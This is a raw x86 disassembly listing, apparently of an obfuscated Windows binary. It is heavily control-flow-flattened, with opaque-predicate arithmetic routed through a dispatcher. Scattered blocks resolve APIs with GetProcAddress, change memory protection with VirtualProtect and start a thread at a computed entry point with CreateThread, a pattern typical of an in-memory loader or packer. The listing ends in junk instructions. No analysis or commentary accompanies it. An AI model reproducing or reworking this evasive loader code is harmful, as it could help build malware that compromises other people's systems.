and edx, 0xcf08b13
and esi, 0xd2023404
or esi, edx
xor esi, edi
mov edx, esi
not edx
and esi, 0xfc100e2d
and edx, 0x3eff1d2
or esi, edx
mov edx, esi
xor esi, 0x2200b001
xor edx, 0xd95d44c6
mov edi, edx
or edx, ecx
and ecx, 0x4cb34ffc
and edi, 0x4cb34ffc
and esi, 0xb34cb003
or esi, edi
or eax, ecx
not edx
mov edi, 0x56d1596c
xor eax, esi
mov esi, 0xc0429464
or edx, eax
mov eax, edx
not eax
and edx, 0x540b9705
and eax, 0xabf468fa
or edx, eax
xor edx, 0x540b9705
sete dl
setne ah
cmp dword [0x497380], 0xa
setl ch
setge al
mov cl, ch
xor cl, ah
xor cl, 1
or cl, al
xor al, ah
and dl, al
and al, ch
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x56d1596c
cmovne eax, esi
test dl, 1
jmp 0x40ff47
cmp eax, 0x5d12551f
jne 0x412f2d
cmp byte [ebp - 0x96], 0
mov eax, 0x15f16698
mov ecx, 0x2fc64271
cmovne eax, ecx
jmp 0x402780
mov ecx, dword [0x497384]
mov edi, 0x77eea688
mov ebx, 0x202c7323
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x22fa78ec
and eax, 0xdd058713
or ecx, eax
xor ecx, 0x22fa78ec
or edx, ecx
mov ecx, edx
xor ecx, 0x807f2b4d
mov eax, edx
and eax, 0xc1932d6
and ecx, edx
not edx
and edx, 0xf3e6cd29
or eax, edx
mov edx, eax
xor edx, 0xc1932d6
xor eax, 0x91208121
mov esi, edx
and esi, 0x807f2b4d
and eax, 0x9d20b3f3
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x807f2b4c
and esi, 0x7f80d4b3
or ecx, esi
mov esi, edx
and esi, 0x62df4c0c
and edx, 1
or esi, eax
mov eax, esi
xor eax, 0x10022c0
xor esi, 0x40de4008
or edx, eax
mov eax, ecx
and esi, 0xdcfed13a
not eax
and ecx, 0xc90126ab
and edx, 0x23012ec5
or edx, esi
mov esi, eax
and esi, 0x36fed954
or ecx, esi
mov esi, edx
xor esi, 0x1012681
xor edx, 0xdcfed13a
or eax, edx
and edx, 0x36fed954
and esi, 0xc90126ab
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb1098387
and eax, 0x1640428
mov edx, ecx
and edx, 0x4ef67c78
or ecx, 0x24023952
or esi, edx
and ecx, 0xa4127bd3
mov edx, esi
xor esi, 0x4023850
xor edx, 0x10098004
or eax, ecx
or esi, 0x80104281
and edx, 0x5a898004
and esi, 0xa4127bd3
or edx, esi
mov esi, 0x202c7323
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x4860a29d
and ecx, 0xb79f5d62
or eax, ecx
mov ecx, eax
xor ecx, 0x6ea0308
xor eax, 0xc914e434
mov edx, eax
and edx, 0xf8159cc7
and ecx, 0x7ea6338
or ecx, edx
xor ecx, 0xf8159cc7
xor eax, ecx
test eax, ecx
setne cl
cmp dword [0x497380], 0xa
mov ah, cl
setl dl
setge al
or al, cl
xor cl, dl
or ah, dl
not cl
xor ah, 1
xor al, 1
and cl, dl
or cl, ah
xor cl, al
mov edx, ecx
cmovne esi, edi
not dl
test dl, al
cmove esi, ebx
test cl, cl
cmovne esi, edi
test dl, al
jmp 0x40f147
mov eax, dword [ebp - 0xa0]
vxorps xmm0, xmm0, xmm0
mov edi, 0x83dbe8b2
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x64]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x6fe1db7c
mov ecx, eax
and ecx, 0x26e19004
and edx, eax
not eax
and eax, 0x49004b78
or ecx, eax
xor ecx, 0x26e19004
or edx, ecx
mov eax, edx
not eax
and edx, 0xa909fbb5
and eax, 0x56f6044a
or edx, eax
mov esi, edx
mov eax, edx
xor esi, 0xc6e820c9
xor eax, 0x3917df36
xor edx, 0x404d9b5f
mov ecx, esi
and edx, eax
and ecx, 0x795a4469
and esi, 0xf7fe70b
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x86a5bb97
and edx, 0x795a4468
or ecx, edx
mov edx, eax
and edx, 0xf08018f4
and eax, 1
or edx, esi
mov esi, edx
xor esi, 0xb0c6402
xor edx, 0x30001810
or eax, esi
and edx, 0x34739b18
and eax, 0xcb8c64e7
or eax, edx
mov edx, ecx
not edx
and ecx, 0x896e805c
mov esi, edx
and esi, 0x76917fa3
or ecx, esi
mov esi, eax
xor esi, 0x890c0044
xor eax, 0x34739b18
or edx, eax
and eax, 0x76917fa3
and esi, 0x896e805c
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x4d18ce07
mov eax, edx
not eax
and edx, 0xb880bb5
and eax, 0xf477f44a
or eax, edx
xor eax, 0xb880bb5
sete al
setne cl
cmp dword [0x497380], 0xa
setl dl
setge ah
or dl, cl
or al, ah
or cl, ah
xor dl, 1
xor al, 1
xor cl, 1
or al, dl
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, edi
test dl, cl
mov ecx, dword [ebp - 0x18]
cmove eax, esi
jmp 0x402780
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x5c]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc6020
and eax, 0xc601a58
mov edx, ecx
and edx, 0x92018084
or ecx, 0x800060a0
or esi, edx
and ecx, 0xe19265a3
mov edx, esi
xor edx, 0xc0000
xor esi, 0xe1920583
or eax, ecx
and esi, 0xe19265a3
and edx, 0x120d8004
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x27c478e4
and ecx, 0xd83b871b
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x62309
xor ecx, 0xb5c99840
xor eax, 0xdd2610b8
mov esi, ecx
and edx, 0xb5c73309
and esi, 0x4a38ccf6
and eax, ecx
or esi, edx
mov ecx, esi
xor ecx, 0x4a38ccf6
xor esi, 0x34453301
mov edx, ecx
and edx, 0x68ef88f8
mov edi, ecx
and esi, 0x7e7d33f5
and edi, 0x8182cc0a
and ecx, 1
or eax, edx
or edi, esi
mov edx, eax
not edx
and eax, 0xf4ec1b85
xor edi, 0x7e7d33f4
and edx, 0xb13e47a
or ecx, edi
mov edi, 0x20a2dafa
or eax, edx
mov edx, eax
xor edx, 0xc02125c
xor eax, 0x63fc6c83
mov esi, eax
and esi, 0xd2d5e9a0
and edx, 0x2d2a165f
or eax, ecx
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd2d5e9a0
not eax
and esi, 0x2d2a165f
or esi, ecx
xor esi, edx
or eax, esi
mov esi, 0x89475051
mov ecx, eax
not ecx
and eax, 0x771dce2b
and ecx, 0x88e231d4
or ecx, eax
mov eax, ecx
xor eax, 0x10094e20
xor ecx, 0x88e231d4
mov edx, ecx
and edx, 0xef56b01f
and eax, 0x10a94fe0
or eax, edx
xor eax, 0xef56b01f
xor ecx, eax
test ecx, eax
setne cl
cmp dword [0x497380], 0xa
setl al
setge dl
xor al, cl
or dl, cl
mov ecx, eax
not cl
and cl, dl
xor dl, 1
mov ah, dl
xor ah, al
and al, dl
or al, cl
and ah, dl
mov edx, 0x20a2dafa
mov ecx, eax
xor cl, ah
test al, al
cmovne edx, esi
test ah, ah
cmove edx, edi
test cl, cl
cmovne edx, esi
mov eax, edx
jmp 0x402780
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, 0x46f86ab1
jmp 0x402780
mov eax, dword [ebp - 0xa4]
mov eax, 0xdcdd19a4
jmp 0x402780
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x497384]
mov edi, 0x49343f21
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0xf4], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and edx, 0xef76cf3c
and eax, 0x108930c3
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0x833abb78
mov edx, eax
xor edx, 0x108930c3
xor eax, 0xef76cf3c
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x497380], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0x49343f21
cmovne eax, esi
test cl, cl
cmove eax, edi
jmp 0x409dc5
mov eax, dword [ebp - 0x14]
mov eax, 0x4fd2f552
jmp 0x402780
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
mov eax, 0xcba999df
jmp 0x402780
cmp byte [ebp - 0x94], 0
mov eax, 0x8266f1f0
mov ecx, 0x92c712f8
cmovne eax, ecx
jmp 0x402780
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x22d57d77
mov eax, edx
and eax, 0x22505557
and ecx, edx
not edx
and edx, 0x852820
or eax, edx
mov edx, eax
xor edx, 0x2501010
xor eax, 0xddafaaa8
mov esi, eax
and esi, 0x60a467cf
and edx, 0x2511830
or edx, esi
mov esi, ecx
not esi
and ecx, 0x9f5b9830
or eax, esi
and esi, 0x60a467cf
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x70856541
and ecx, 0x8f7a9abe
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xa8a30480
xor ecx, 0x52501836
xor eax, 0xa4cdc346
and eax, ecx
and edx, 0xbae30ca4
and ecx, 0x451cf35b
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0x451cf35b
xor esi, 0x4c7ed7d4
xor ecx, 0xba420884
and esi, edx
and ecx, 0xba527a84
or eax, esi
mov esi, eax
not esi
and eax, 0xf69ddb71
and esi, 0x962248e
or eax, esi
mov esi, edx
and esi, 0x45ad857b
and edx, 1
or esi, ecx
mov ecx, eax
not ecx
and eax, 0x8a50d1ed
xor esi, 0xba527a85
or edx, esi
mov esi, ecx
and esi, 0x75af2e12
or eax, esi
mov esi, edx
not esi
or ecx, edx
and edx, 0x75af2e12
and esi, 0x8a50d1ed
not ecx
or esi, edx
xor esi, eax
or ecx, esi
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x10600490
and ecx, 0x4c324
mov edx, eax
or edx, 0x4293300a
and esi, 0x52f3349a
and eax, 0xad080841
and edx, 0x52f3349a
or eax, esi
mov esi, 0xdd29ee5
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0xef9b384b
and eax, 0x1064c7b4
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xf7aa9588
and eax, 0x8556a77
or ecx, eax
mov eax, ecx
xor eax, 0x64aa0400
xor ecx, 0x8154a67
and ecx, 0x9b15dbef
and eax, 0x64ea2410
or eax, ecx
xor eax, 0x64ea2410
setne dl
sete ah
cmp dword [0x497380], 0xa
mov ecx, edx
setl ch
setge al
and cl, al
and ch, ah
xor dl, al
or ch, cl
and dl, ah
mov cl, ch
xor cl, al
or al, ah
xor al, 1
and cl, ch
or al, dl
mov edx, eax
xor dl, 1
mov ah, dl
and ah, cl
xor cl, 1
and al, cl
or cl, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x4bf6466b
cmovne edx, esi
test cl, cl
mov ecx, 0x4bf6466b
jmp 0x40f371
mov eax, 0x278c9174
jmp 0x402780
mov eax, 0xf0ae6f3
jmp 0x402780
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xf8], eax
mov eax, 0x77ad1efb
jmp 0x402780
cmp byte [ebp - 0x91], 0
mov eax, 0x64b69ae2
mov ecx, 0x6ba4018d
cmovne eax, ecx
jmp 0x402780
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x20]
mov eax, 0xf0232eca
jmp 0x402780
mov ecx, dword [0x497384]
mov esi, 0x478227bf
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xf2f9bfd8
mov edx, eax
and edx, 0x80d12640
and ecx, eax
not eax
and eax, 0x72289998
or edx, eax
xor edx, 0x80d12640
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xce452e88
and eax, 0x31bad177
or ecx, eax
mov eax, ecx
xor ecx, 0x8203068d
xor eax, 0x3cbc9150
mov edx, eax
and ecx, 0xae83968d
and eax, 0x517c6972
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x517c6973
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x81c35158
and eax, 0x7e3caea7
or ecx, eax
xor ecx, 0x81c35158
or edx, ecx
sete cl
setne al
cmp dword [0x497380], 0xa
setl ah
mov ch, ah
mov dl, ah
xor ch, al
or dl, cl
or al, ah
xor cl, ah
xor ch, 1
xor dl, 1
xor al, 1
and cl, ah
or dl, ch
or cl, al
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0x52f5b7bf
cmovne edx, esi
test al, al
mov eax, 0x52f5b7bf
cmovne eax, edx
jmp 0x40d9b7
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x68]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, 0x920e0ff4
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
and ecx, 0x74d49f66
and esi, 0x8b2b6099
or esi, ecx
mov ecx, esi
mov edi, esi
xor ecx, 0x74548c66
xor edi, 0x8b2b6099
xor esi, 0x1342
mov eax, edi
and eax, 0xaa81300
and ecx, 0xf557ecff
or edi, 0x6cc08ca5
and esi, 0x3035342
or ecx, eax
mov eax, ecx
mov ebx, ecx
xor eax, 0xf557ecff
xor ebx, 0x66689fa5
xor ecx, 0xa280300
and ebx, eax
and ecx, 0x2e3ac7b0
mov edx, ebx
not edx
and ebx, 0x63c3d7c7
mov dword [ebp - 0x28], edx
and dword [ebp - 0x28], 0x9c3c2838
or edx, edi
and edi, 0x9c3c2838
add ebx, dword [ebp - 0x28]
or esi, edi
not edx
xor esi, ebx
or edx, esi
mov esi, edx
not esi
and edx, 0x2871d4b9
and esi, 0xd78e2b46
or edx, esi
mov esi, eax
and esi, 0xd1c5384f
and eax, 1
or esi, ecx
xor edx, 0x44b1581d
mov ecx, esi
xor ecx, 0x1a4731
xor esi, 0xc0453048
or eax, ecx
and esi, 0xee65b0c8
and eax, 0x119a4f37
or eax, esi
xor eax, 0x119a4f37
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x3205b980
and eax, 0x4040a824
mov edx, ecx
and edx, 0xcdfa467f
or ecx, 0x15a91003
or esi, edx
and ecx, 0x9db91343
mov edx, esi
xor esi, 0x5a80003
xor edx, 0x22040080
or eax, ecx
or esi, 0x88100340
and edx, 0x22064498
and esi, 0x9db91343
or edx, esi
mov esi, 0x9966d0c8
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x37af549b
and ecx, 0xc850ab64
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2b2134c5
mov edx, ecx
and edx, 0xd4decb3a
or eax, edx
xor eax, 0xd4decb3a
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x497380], 0xa
setge cl
setl al
or cl, dl
xor al, ah
xor cl, 1
or cl, al
xor cl, 1
or cl, al
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xce236140
cmovne edx, esi
test cl, 1
mov ecx, 0xce236140
jmp 0x40f371
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x40]
mov eax, 0x4ba61900
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x7aa59a5e
and edi, 0x855a65a0
and edx, 0xb3539693
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x4cac696c
mov ebx, esi
not ebx
and esi, 0x855a65a1
or eax, edx
or ecx, ebx
and ebx, 0x7aa59a5e
xor eax, 0x4cac696c
or esi, ebx
not ecx
xor esi, edi
mov edi, 0xff35e07b
or ecx, esi
mov esi, 0x2e9bb2cd
not ecx
or eax, ecx
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x497380], 0xa
setl ah
setge cl
mov ch, ah
and dl, cl
and ch, al
xor al, ah
or ch, dl
mov ah, al
xor cl, ch
xor ah, 1
and cl, ch
mov edx, ecx
xor dl, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0xff35e07b
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, ah
jmp 0x4122e2
mov eax, dword [ebp - 0x48]
mov dword [eax], 0x20
mov eax, 0x404583c2
jmp 0x402780
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x124]
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
setb byte [ebp - 0x8e]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0xf86fb07d
and eax, 0x7904f82
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x4e51a1a
mov esi, edx
and esi, 0xfb1ae5e5
or ecx, esi
mov esi, eax
xor esi, 0x4800a02
xor eax, 0xf80aa065
and eax, 0xfb1ae5e5
and esi, 0x4e51a1a
or esi, eax
xor esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0x7740ca4d
sete cl
cmp dword [0x497380], 0xa
setge al
setl dl
xor al, cl
xor dl, cl
and al, cl
mov ecx, eax
or al, dl
xor cl, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
mov edx, 0xd1b55f90
cmovne edx, esi
test al, al
mov eax, 0xd1b55f90
jmp 0x4128b5
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xa0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x64], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov ecx, dword [0x497384]
mov eax, esp
mov dword [ebp - 0xbc], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x22d901b0
mov ecx, edx
and ecx, 0xdd26fe4e
and edx, 0x14353b0f
or esi, ecx
mov ecx, eax
and ecx, 1
and eax, 0xebcac4f0
xor esi, 0x22d901b0
or eax, edx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x4f33042
mov esi, edx
and esi, 0xfb0ccfbd
or ecx, esi
mov esi, eax
xor esi, 0xc20040
xor eax, 0x10040b0d
and eax, 0xfb0ccfbd
and esi, 0x4f33042
or esi, eax
xor esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0x6d63d28
sete al
cmp dword [0x497380], 0xa
mov ecx, eax
setge ah
setl dl
xor ah, al
and cl, ah
not ah
and ah, al
xor al, dl
mov ch, cl
and al, dl
mov edx, ecx
or al, ah
xor dl, 1
and dl, al
xor al, 1
xor ch, al
and al, cl
or al, dl
and ch, cl
mov edx, 0xae92a595
mov cl, al
xor cl, ch
test al, al
mov eax, 0xae92a595
cmovne eax, esi
test ch, ch
cmove eax, edx
jmp 0x412ab6
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x58]
mov eax, 0x4bf6466b
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xf0f62542
mov edx, eax
and edx, 0xf09dabc
and eax, 0xc9f00829
or esi, edx
mov edx, ecx
or edx, 0x401d7b52
and ecx, 0x360ff7d6
mov edi, esi
xor edi, 0xb0e20400
xor esi, 0x95a10
and edx, 0x401d7b53
or eax, ecx
and esi, 0x401d7b52
and edi, 0xbfe284ac
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xc9f00829
mov edi, esi
and edi, 0x360ff7d6
or edx, edi
mov edi, 0x546aed80
xor eax, edx
not eax
or eax, esi
mov esi, 0x53c77720
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x497380], 0xa
setl cl
setge ah
and cl, al
and dl, ah
xor al, ah
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
mov edx, ecx
not ah
not dl
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x546aed80
cmovne eax, esi
test cl, cl
cmovne eax, edi
test dl, 1
cmove eax, esi
jmp 0x402780
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
andn eax, edx, edx
not edx
and ecx, 0xdae4a18e
and edx, 0x251b5e71
or ecx, edx
mov edx, ecx
xor edx, 0x88a0a088
xor ecx, 0x251b5e71
mov esi, ecx
and esi, 0x53455167
and edx, 0xacbaae98
or edx, esi
mov esi, eax
not esi
and eax, 0xacbaae98
or ecx, esi
and esi, 0x53455167
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 0xffec52f
and ecx, 0x17932120
mov eax, esi
and esi, 0xf0013ad0
or eax, 1
or edx, esi
mov esi, eax
and esi, 0xe86cdedf
or ecx, esi
mov esi, edx
xor esi, 0x7920120
xor edx, 0xf0013ad1
or eax, edx
and edx, 0xe86cdedf
and esi, 0x17932120
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x2315a00c
and eax, 0x50600810
mov edx, ecx
or edx, 0x888800e0
and esi, 0xab9da0ec
and ecx, 0x4025703
and edx, 0xab9da0ec
or ecx, esi
mov esi, 0x202c7323
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x1f6f5be9
and ecx, 0xe090a416
or eax, ecx
xor eax, 0x93e50c0a
sete cl
setne dl
cmp dword [0x497380], 0xa
setl ah
setge al
and dl, al
and ah, cl
or ah, dl
mov dl, ah
xor dl, al
xor al, cl
and dl, ah
mov ah, al
mov ecx, edx
not ah
xor cl, 1
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xb8c1296d
cmovne edx, esi
test al, al
mov esi, 0xb8c1296d
jmp 0x40d9b2
mov eax, dword [ebp - 0x84]
mov ecx, dword [0x497384]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0x804b8800
not edx
mov esi, edx
or esi, 0x22000201
and ecx, 0xa24b8a01
and edx, 0x1c8075b2
or edx, ecx
mov ecx, eax
and esi, 0xa24b8a01
and ecx, 0x4134004c
or ecx, esi
mov esi, 0xe704754f
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x3e8077b2
and edx, 0xc17f884d
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete cl
cmp dword [0x497380], 0xa
setge ah
xor ah, cl
mov dl, ah
and cl, ah
xor dl, 1
mov al, dl
and al, ah
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
xor al, 1
xor ah, dl
or dl, cl
or al, ch
xor dl, 1
xor al, cl
or dl, ah
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x1e07e214
cmovne edx, esi
test al, 1
mov eax, 0x1e07e214
jmp 0x411b12
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3c]
mov eax, 0xe900ae25
jmp 0x402780
push dword [ebp - 0x28]
push dword [ebp - 0xdc]
push dword [ebp - 0xd8]
push ecx
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, 0x3c0d3b3c
jmp 0x402780
mov eax, 0x66bb1179
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x8b1bb99
and ecx, 0xf74e4466
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xf74e4466
xor edx, 0x8b1bb99
xor eax, 0x4f868e1f
mov esi, ecx
and eax, edx
and esi, 0x47373586
and edx, 0x394d0840
or eax, esi
mov esi, eax
not esi
and eax, 0xba255be
and esi, 0xf45daa41
or eax, esi
mov esi, ecx
and esi, 0xc6b2f7bf
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x1040841
xor esi, 0x40a09304
or ecx, edx
mov edx, eax
xor edx, 0x40810031
and esi, 0x78e99304
xor eax, 0xb36a9fc6
and ecx, 0x87166cfb
and edx, 0x73c913f3
or ecx, esi
mov esi, eax
and esi, 0x8c36ec0c
or edx, esi
mov esi, ecx
xor esi, 0x30000f3
xor ecx, 0x78e99304
or eax, ecx
and ecx, 0x8c36ec0c
and esi, 0x73c913f3
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x78750ee3
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x21400045
and eax, 0x92367ab0
and ecx, 0x4c89850a
or edx, ecx
xor edx, 0x21400045
or eax, edx
mov ecx, eax
not ecx
and eax, 0x3b66d765
and ecx, 0xc499289a
or eax, ecx
mov ecx, eax
xor ecx, 0x5624022a
xor eax, 0x8910a911
and eax, 0x899bf911
and ecx, 0x766406ee
or ecx, eax
xor ecx, 0x899bf911
setne dl
sete ah
cmp dword [0x497380], 0xa
mov ch, dl
setl cl
setge al
and ch, al
and cl, ah
xor dl, al
or cl, ch
and dl, ah
xor cl, 1
or cl, al
or al, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x6b99e692
cmovne ecx, esi
test al, 1
mov eax, 0x6b99e692
jmp 0x4120c2
imul edx
sbb edi, 0x5b
or eax, 0xc9
neg eax
dec ebx
or eax, 0xf7
sub eax, 0x41
add ebx, 2
dec edi
bswap esi
dec ebx
sub esi, 0x7b
bswap edx
dec esi
not eax
imul esi
ror edi, 0xb1
sub eax, 0xed
mov edx, 0xa1
bswap edi
ror edi, 0xdc
sub esi, 0x9f
mov edx, 0xc0
neg edx
not edx
or ebx, 0x16
and eax, 0x46
bswap edi
sbb eax, 0xab
add edx, 3
rol eax, 0xe
rol esi, 0xf6
rcl ebx, 0x64
bswap edi
rol ebx, 0xab
and ebx, 0x6f
rol ebx, 0x6a
imul esi
dec ebx
sbb edi, 0x4b
rol esi, 0xb1
neg esi
neg eax
dec edi
add esi, 0xf0
ror eax, 0x29
sub esi, 0xfd
add edi, 0x12
rcl edi, 0x44
imul edx
ror edx, 0xdb
neg ebx
rcl esi, 0xc1
dec edx
or esi, 0x97
rcl edi, 0xf0
inc esi
or edx, 4
inc ebx
dec ebx
inc eax
neg ebx
neg eax
rcl edx, 0x1b
neg eax
bswap edi
bswap ebx
